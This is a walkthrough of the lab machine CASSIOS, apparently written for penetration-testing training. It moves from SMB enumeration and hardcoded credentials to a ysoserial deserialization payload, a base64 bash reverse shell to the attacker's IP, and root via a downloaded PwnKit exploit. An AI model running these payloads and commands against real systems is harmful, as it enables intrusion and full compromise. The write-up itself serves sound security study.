Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - CASSIOS

·2757 words·13 mins·
OFFSEC PG PRACTICE SMB SMBCLIENT NXC YSOSERIAL PWNKIT
Table of Contents

Summary
#

On port 139/445 we have read/write access to a share which contains a file called recycler.ser. This file is actively used by a web application on port 8080. On port 80 we find the source code for this application and contains hardcoded credentials. Using these credentials we can login the web application and use a serialization exploit called ysoserial to get initial access. Once on the box we see it’s vulnerable for pwnkit (CVE-2021-4034) and use this to escalate our privileges to the root user.

Specifications
#

  • Name: CASSIOS
  • Platform: PG PRACTICE
  • Points: 20
  • Difficulty: Intermediate
  • System overview: Linux cassios 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
  • IP address: 192.168.220.116
  • OFFSEC provided credentials: None
  • HASH: local.txt:f5cd5eabd88888b8776a2c5ec9c8634c
  • HASH: proof.txt:2d76191e6d2e59f58c606d8c8790317b

Preparation
#

First we’ll create a directory structure for our files and set the IP address to a bash variable and ping the target:

mkdir cassios && cd cassios && mkdir enum files exploits uploads tools

ls -la
total 28
drwxrwxr-x   7 kali kali 4096 Aug 27 18:28 .
drwxrwxr-x 107 kali kali 4096 Aug 27 18:28 ..
drwxrwxr-x   2 kali kali 4096 Aug 27 18:28 enum
drwxrwxr-x   2 kali kali 4096 Aug 27 18:28 exploits
drwxrwxr-x   2 kali kali 4096 Aug 27 18:28 files
drwxrwxr-x   2 kali kali 4096 Aug 27 18:28 tools
drwxrwxr-x   2 kali kali 4096 Aug 27 18:28 uploads

ip=192.168.220.116

ping $ip

PING 192.168.220.116 (192.168.220.116) 56(84) bytes of data.
64 bytes from 192.168.220.116: icmp_seq=1 ttl=61 time=20.1 ms
^C
--- 192.168.220.116 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 20.088/20.088/20.088/0.000 ms

Reconnaissance
#

Portscanning
#

Using the rustscan tool we can see what TCP ports are open.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.220.116:22
Open 192.168.220.116:80
Open 192.168.220.116:139
Open 192.168.220.116:445
Open 192.168.220.116:8080
[~] Starting Script(s)
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-27 18:29 +0200
Initiating Ping Scan at 18:29
Scanning 192.168.220.116 [4 ports]
Completed Ping Scan at 18:29, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:29
Completed Parallel DNS resolution of 1 host. at 18:29, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 18:29
Scanning 192.168.220.116 [5 ports]
Discovered open port 8080/tcp on 192.168.220.116
Discovered open port 445/tcp on 192.168.220.116
Discovered open port 139/tcp on 192.168.220.116
Discovered open port 22/tcp on 192.168.220.116
Discovered open port 80/tcp on 192.168.220.116
Completed SYN Stealth Scan at 18:29, 0.04s elapsed (5 total ports)
Nmap scan report for 192.168.220.116
Host is up, received reset ttl 61 (0.019s latency).
Scanned at 2026-08-27 18:29:47 CEST for 0s

PORT     STATE SERVICE      REASON
22/tcp   open  ssh          syn-ack ttl 61
80/tcp   open  http         syn-ack ttl 61
139/tcp  open  netbios-ssn  syn-ack ttl 61
445/tcp  open  microsoft-ds syn-ack ttl 61
8080/tcp open  http-proxy   syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.69 seconds
           Raw packets sent: 9 (372B) | Rcvd: 6 (260B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp   open  ssh          syn-ack ttl 61
80/tcp   open  http         syn-ack ttl 61
139/tcp  open  netbios-ssn  syn-ack ttl 61
445/tcp  open  microsoft-ds syn-ack ttl 61
8080/tcp open  http-proxy   syn-ack ttl 61

Run the following command to get a string of all open ports and add in with a NMAP command to portscan found open ports:

sudo nmap -T3 -p $(awk -F'/' '{print $1}' files/ports | paste -sd, -) -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT     STATE SERVICE     REASON         VERSION
22/tcp   open  ssh         syn-ack ttl 61 OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 36:cd:06:f8:11:72:6b:29:d8:d8:86:99:00:6b:1d:3a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQjISDfZJSrhxHPJNdFOaYN/6v9xvTQ0nvVxY3PC93qraoFeHMiwAYDxzcaY47E965uLcjgBfqicRVIziukrnVDn9R14LZmq74kbAmaf6PcOyjL3iN9uQWE/7umx3rG98dVugfW9SzuHgorDE7anOV8ewsepOSx61qnb0p/p2IID7ExFXgh8UqtMAD1viVHdvOhHFZL4BbzVj57LBaRvEDC2lx8mSvwxRmJyw7Jqm3+S640y6pet4QgLSrWdQt8nh/dW/U9HPkwfqrytd7tdnIRhuR/L+E6H8rKycI/y012pdIlE+wtNY2xgjGm0mQfmVH1sDEN/OGVw7TdH6BEc9x
|   256 7d:12:27:de:dd:4e:8e:88:48:ef:e3:e0:b2:13:42:a1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBC08uXC/2TmrLqWbD0sPKxdflt2pC5fpX9UHyK0G3f/HMGwFQQlpjuBnK8F8piwnSjXyDHRSFGa/bGXi9n3gIf0=
|   256 c4:db:d3:61:af:85:95:0e:59:77:c5:9e:07:0b:2f:74 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMWphiQ1WtEPUDgeKuwnZ018EFPqR/4MiEj85mmMdGvk
80/tcp   open  http        syn-ack ttl 61 Apache httpd 2.4.6 ((CentOS))
|_http-title: Landed by HTML5 UP
|_http-server-header: Apache/2.4.6 (CentOS)
| http-methods: 
|   Supported Methods: GET HEAD POST OPTIONS TRACE
|_  Potentially risky methods: TRACE
139/tcp  open  netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp  open  netbios-ssn syn-ack ttl 61 Samba smbd 4.10.4 (workgroup: SAMBA)
8080/tcp open  http        syn-ack ttl 61 Apache Tomcat (language: en)
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Site doesn't have a title (text/html;charset=UTF-8).
|_http-open-proxy: Proxy might be redirecting requests
|_http-favicon: Unknown favicon MD5: 1F28B1B6F92D857654E3CA067AE843E3
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS POST
Service Info: Host: CASSIOS

Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.10.4)
|   Computer name: cassios
|   NetBIOS computer name: CASSIOS\x00
|   Domain name: \x00
|   FQDN: cassios
|_  System time: 2026-08-27T12:30:32-04:00
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 1h20m00s, deviation: 2h18m34s, median: 0s
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 33555/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 61374/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 15120/udp): CLEAN (Failed to receive data)
|   Check 4 (port 15450/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2026-08-27T16:30:31
|_  start_date: N/A

Initial Access
#

Using NXC we can enumerate port 139/445 for available shares. When asked for a password just press ENTER. There is a share called Samantha Konstan which is none standard and we have read/write access on it. We can use SMBclient to connect to the share.

## use nxc to enumerate shares
nxc smb $ip -u '' -p '' --shares          
SMB         192.168.220.116 445    CASSIOS          [*] Unix - Samba (name:CASSIOS) (domain:) (signing:False) (SMBv1:True) (Null Auth:True)
SMB         192.168.220.116 445    CASSIOS          [+] \: 
SMB         192.168.220.116 445    CASSIOS          [*] Enumerated shares
SMB         192.168.220.116 445    CASSIOS          Share           Permissions     Remark
SMB         192.168.220.116 445    CASSIOS          -----           -----------     ------
SMB         192.168.220.116 445    CASSIOS          print$                          Printer Drivers
SMB         192.168.220.116 445    CASSIOS          Samantha Konstan READ,WRITE      Backups and Recycler files
SMB         192.168.220.116 445    CASSIOS          IPC$                            IPC Service (Samba 4.10.4)


## connect to the share `Samantha Konstan`
smbclient //$ip/Samantha\ Konstan               
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> 

## list avaliable directories / files
smb: \> dir
  .                                   D        0  Thu Oct  1 22:28:46 2020
  ..                                  D        0  Thu Sep 24 19:38:10 2020
  recycler.ser                        N        0  Thu Sep 24 03:35:15 2020
  readme.txt                          N      478  Thu Sep 24 19:32:50 2020
  spring-mvc-quickstart-archetype      D        0  Thu Sep 24 19:36:11 2020
  thymeleafexamples-layouts           D        0  Thu Sep 24 19:37:09 2020
  resources.html                      N    42713  Thu Sep 24 19:37:41 2020
  pom-bak.xml                         N     2187  Thu Oct  1 22:28:46 2020

                8374272 blocks of size 1024. 6449240 blocks available

Listing the directories and files we see there are a lot of files. Let’s download them all.

## quit the current session
smb: \> quit

## change directory
cd files

## download all files and directories
smbclient --no-pass //$ip/Samantha\ Konstan -N -c "prompt OFF;recurse ON;mget *"

The readme.txt as displayed below, mentions a .ser file, which apparently can be read from the upper management dashboard app. It also mentions that this file is access over SMB by the application. We also have write access to the SMB share, so perhaps we can write the .ser file with something which then get’s executed using the browser?

cat readme.txt                
The recycler is a critical piece of our industrial infraestructure.
Please be careful with it!

The .ser file holds all the last data saved from the process, it can
be readed from the upper management dashboard app. 

Remember to set the location of the file to my home directory "~/backups".

Set this directory to share access so the remote system can access the
file via SMB.

Any concerns or suggestions, please reach at samantha@loca.host.

Samantha Konstan
Java Mantainer

So let’s checkout the webpage. On port 80 there is a website called Landed, but there is no real functionality to abuse.

We can use gobuster to scan for files and directories.

gobuster dir -t 100 -u http://$ip:80/ -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt | tee enum/raft-large-dir-raw-80

===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.220.116:80/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
images               (Status: 301) [Size: 238] [--> http://192.168.220.116/images/]
assets               (Status: 301) [Size: 238] [--> http://192.168.220.116/assets/]
download             (Status: 200) [Size: 1479862]
backup_migrate       (Status: 301) [Size: 246] [--> http://192.168.220.116/backup_migrate/]
===============================================================
Finished
===============================================================

The images and assets directories contain what they mean, the download file is a .zip file for the entire Landed website, but there is also a backup_migrate directory which contains a file called recycler.tar. Click on it to download the file.

Extract all the files and directories. This a the source code for a Java application. Let’s firstly search for password in this source code. Using grep we get the credentials: recycler:DoNotMessWithTheRecycler123.

## change directory
cd files

## move file `recycler.tar` to this location
mv ~/Downloads/recycler.tar .

## extract files from uncompressed tar file
tar -xvf recycler.tar

## grep recursively for `password` in the extracted src directory
grep -rni 'password' ./src 2>/dev/null  
                                                                                            
./src/main/resources/templates/login.html:23:               Invalid username and password.
./src/main/resources/templates/login.html:32:                     <label for="name">Password:</label>
./src/main/resources/templates/login.html:33:                     <input type="password"  name="password"  id="password" placeholder="Ask to your supervisor">
./src/main/resources/static/css/main.css:871:[type=color], [type=date], [type=datetime], [type=datetime-local], [type=email], [type=month], [type=number], [type=password], [type=search], [type=tel], [type=text], [type=url], [type=week], [type=time], select, textarea {
./src/main/resources/static/css/main.css:885:[type=color]:hover, [type=date]:hover, [type=datetime]:hover, [type=datetime-local]:hover, [type=email]:hover, [type=month]:hover, [type=number]:hover, [type=password]:hover, [type=search]:hover, [type=tel]:hover, [type=text]:hover, [type=url]:hover, [type=week]:hover, [type=time]:hover, select:hover, textarea:hover {
./src/main/resources/static/css/main.css:889:[type=color]:focus, [type=color]:active, [type=date]:focus, [type=date]:active, [type=datetime]:focus, [type=datetime]:active, [type=datetime-local]:focus, [type=datetime-local]:active, [type=email]:focus, [type=email]:active, [type=month]:focus, [type=month]:active, [type=number]:focus, [type=number]:active, [type=password]:focus, [type=password]:active, [type=search]:focus, [type=search]:active, [type=tel]:focus, [type=tel]:active, [type=text]:focus, [type=text]:active, [type=url]:focus, [type=url]:active, [type=week]:focus, [type=week]:active, [type=time]:focus, [type=time]:active, select:focus, select:active, textarea:focus, textarea:active {
./src/main/java/com/industrial/recycler/WebSecurityConfig.java:35:                       User.withDefaultPasswordEncoder()
./src/main/java/com/industrial/recycler/WebSecurityConfig.java:37:                              .password("DoNotMessWithTheRecycler123")

## grep password in the found file and add some lines before and after the result to see some context
grep 'password' ./src/main/java/com/industrial/recycler/WebSecurityConfig.java -A5 -B5
        @Override
        public UserDetailsService userDetailsService() {
                UserDetails user =
                         User.withDefaultPasswordEncoder()
                                .username("recycler")
                                .password("DoNotMessWithTheRecycler123")
                                .roles("USER")
                                .build();

                return new InMemoryUserDetailsManager(user);
        }

On port 8080 there is a web application called Recycler Management System.

Click on Dashboard and we can login. The source code we have is probably from this application, so let’s fill our found credentials in here and click on the Sign In button.

We indeed get logged in.

When we click on Check Status nothing changes, clicking on Save Current Values changes the recycler.ser on the SMB share from 0 bytes to 145 bytes. When we check what sort of file this is, it contains Java serialization data.

## connect to the share
smbclient //$ip/Samantha\ Konstan                                                                                                
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> 

## list files and directories
smb: \> dir
  .                                   D        0  Thu Aug 27 19:04:51 2026
  ..                                  D        0  Thu Sep 24 19:38:10 2020
  recycler.ser                        N      145  Thu Aug 27 19:30:04 2026
  readme.txt                          N      478  Thu Sep 24 19:32:50 2020
  spring-mvc-quickstart-archetype      D        0  Thu Sep 24 19:36:11 2020
  thymeleafexamples-layouts           D        0  Thu Sep 24 19:37:09 2020
  resources.html                      N    42713  Thu Sep 24 19:37:41 2020
  pom-bak.xml                         N     2187  Thu Oct  1 22:28:46 2020

                8374272 blocks of size 1024. 6442400 blocks available

## download recycler.ser
smb: \> get recycler.ser
getting file \recycler.ser of size 145 as recycler.ser (1.4 KiloBytes/sec) (average 1.4 KiloBytes/sec)


## locally:
## run file on the file recycler.ser
file recycler.ser
recycler.ser: Java serialization data, version 5

This hint perhaps to a serialization exploit, so let’s test this with ysoserial (https://github.com/frohoff/ysoserial). Downloading the latest release and running it will generated errors. My local Java version was too new, causing errors and broke the older ysoserial exploit payload template. First, we test if we got RCE using unsafe deserialization by running wget on a local Python webserver and see it we get a webrequest. We generate the object and write is to recycler.ser. Next, we upload this file using the SMB session.

## start python webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## generate object named `recycler.ser`
java \
  --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
  --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
  --add-opens java.base/java.net=ALL-UNNAMED \
  --add-opens java.base/java.util=ALL-UNNAMED \
  -jar ysoserial-all.jar CommonsCollections4 "wget http://192.168.45.198/test" > recycler.ser

## in the SMB session upload the `recycler.ser`
smb: \> put recycler.ser
putting file recycler.ser as \recycler.ser (62.1 kB/s) (average 36.3 kB/s)

Now click on Check Status in the web application.

Indeed, we get a request from the application.

## request received on the python webserver
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.220.116 - - [27/Aug/2026 20:06:27] code 404, message File not found
192.168.220.116 - - [27/Aug/2026 20:06:27] "GET /test HTTP/1.1" 404 -

Now let’s get initial access. We’re going to use a classic base64 encoded bash reverse shell with brace expansion. When we click on the Check Status again we indeed get a reverse shell.

## setup listener
nc -lvnp 80
listening on [any] 80 ...

## base64 encode reverse shell
echo -n 'bash -i  >&   /dev/tcp/192.168.45.198/80 0>&1' | base64
YmFzaCAtaSAgPiYgICAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE5OC84MCAwPiYx

## payload for initial access
java \                                                                                                                         
  --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \   
  --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
  --add-opens java.base/java.net=ALL-UNNAMED \ 
  --add-opens java.base/java.util=ALL-UNNAMED \
  -jar ysoserial-all.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSAgPiYgICAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE5OC84MCAwPiYx}|{base64,-d}|{bash,-i}" > recycler.ser

## in the SMB session upload the `recycler.ser`
smb: \> put recycler.ser
putting file recycler.ser as \recycler.ser (32.2 kB/s) (average 39.2 kB/s)

## catch reverse shell after clicking `check status`
listening on [any] 80 ...
connect to [192.168.45.198] from (UNKNOWN) [192.168.220.116] 44628
bash: no job control in this shell
[samantha@cassios /]$ 

## run whoami
[samantha@cassios /]$ whoami
samantha

## find local.txt
[samantha@cassios /]$ find / -iname 'local.txt' 2>/dev/null
/home/samantha/local.txt

## print local.txt
[samantha@cassios /]$ cat /home/samantha/local.txt
f5cd5eabd88888b8776a2c5ec9c8634c

Privilege Escalation
#

To get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
which python
/usr/bin/python

## start the script binary, after that press CTRL+Z
python -c 'import pty; pty.spawn("/bin/bash")'

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
export TERM=xterm && stty columns 200 rows 200

Now, upload linpeas.sh to the target and run it.

## change directory locally
cd uploads

## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.198

## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## on target
## change directory
[samantha@cassios /]$ cd /var/tmp

## download `linpeas.sh` using the open port 80
[samantha@cassios tmp]$ wget http://192.168.45.198/linpeas.sh
--2026-08-27 14:52:53--  http://192.168.45.198/linpeas.sh
Connecting to 192.168.45.198:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1144032 (1.1M) [text/x-sh]
Saving to: ‘linpeas.sh’

 0% [                                                                                                                                                      100%[==============================================================================================================================================================>] 1,144,032   --.-K/s   in 0.1s    

2026-08-27 14:52:53 (7.32 MB/s) - ‘linpeas.sh’ saved [1144032/1144032]


## set the execution bit
[samantha@cassios tmp]$ chmod +x linpeas.sh 

## run `linpeas.sh`
[samantha@cassios tmp]$ ./linpeas.sh 

The linpeas.sh output shows the target is vulnerable for pwnkit (CVE-2021-4034). Now, let’s download the exploit (https://github.com/ly4k/PwnKit), upload to the target and run it to escalate our privileges to the root user.

## change directory
cd uploads

## download exploit
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o pwnkit

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.198

## setup a local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## on target:
## download exploit
[samantha@cassios tmp]$ wget http://192.168.45.198/pwnkit
--2026-08-27 14:54:29--  http://192.168.45.198/pwnkit
Connecting to 192.168.45.198:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18040 (18K) [application/octet-stream]
Saving to: ‘pwnkit’

 0% [                                                                                                                                                      100%[==============================================================================================================================================================>] 18,040      --.-K/s   in 0.02s   

2026-08-27 14:54:29 (963 KB/s) - ‘pwnkit’ saved [18040/18040]


## set execution bit on `pwnkit`
[samantha@cassios tmp]$ chmod +x pwnkit 

## execute `pwnkit`
[samantha@cassios tmp]$ ./pwnkit 

## print `proof.txt`
[root@cassios tmp]# cat /root/proof.txt
2d76191e6d2e59f58c606d8c8790317b

References
#

[+] https://github.com/frohoff/ysoserial
[+] https://github.com/ly4k/PwnKit

Related

OFFSEC - Proving Grounds - SYBARIS
·1959 words·10 mins
OFFSEC PG PRACTICE FTP REDIS NXC PWNKIT
FTP on port 21 allows anonymous login and is writable. Redis 5.0.9 on port 6379 is exploitable by uploading a Redis module via FTP and exploit Redis for pablo access, then use pwnkit (CVE-2021-4034) to escalate to root.
OFFSEC - Proving Grounds - LAZYSYSADMIN
·2133 words·11 mins
OFFSEC PG PRACTICE SMBMAP SMBCLIENT WORDPRESS RCE
SMB share access revealed WordPress credentials. After logging into WordPress, we achieved RCE and initial access. Reused togie’s password to gain sudo privileges and escalate to root.
OFFSEC - Proving Grounds - FIVE86.2
·2232 words·11 mins
OFFSEC PG PRACTICE WPSCAN PWNKIT
A WordPress site is compromised via brute-forced credentials and an exploited vulnerable plugin. Initial access is gained, then LinPEAS identifies PwnKit (CVE-2021-4034), enabling privilege escalation to root.
OFFSEC - Proving Grounds - POSTFISH
·3193 words·15 mins
OFFSEC PG PRACTICE SMTP-USER-ENUM USERNAME_GENERATOR HYDRA IMAP IMAPS SENDEMAIL PWNKIT
Website PostFish on port 80 and SMTP on port 25 reveal usernames. Hydra finds credentials, sending an email with a reset link grants brian access. Pwnkit (CVE-2021-4034) escalates to root.
OFFSEC - Proving Grounds - RUSSIANDOLLS
·2291 words·11 mins
OFFSEC PG PRACTICE PATH TRAVERSAL NXC SUDO 1.9.14-17 CVE-2025-32463
On port 8080 the website loads images via local http URLs, found open port 4242 with FILE VIEWER app. Path traversal exposes passwords and allows access via SSH. sudo v1.9.15 exploited for root access using CVE-2025-32463 chroot escalation.
OFFSEC - Proving Grounds - DEVELOP
·4146 words·20 mins
OFFSEC PG PRACTICE GIT TCPDUMP COMMAND INJECTION IFS PYTHON WEBSERVER POST PWNKIT
Access Git repository on port 80 for credentials, login application on port 8080 and use command injection to retrieve a SSH key. Exploit CVE-2021-4034 to become root.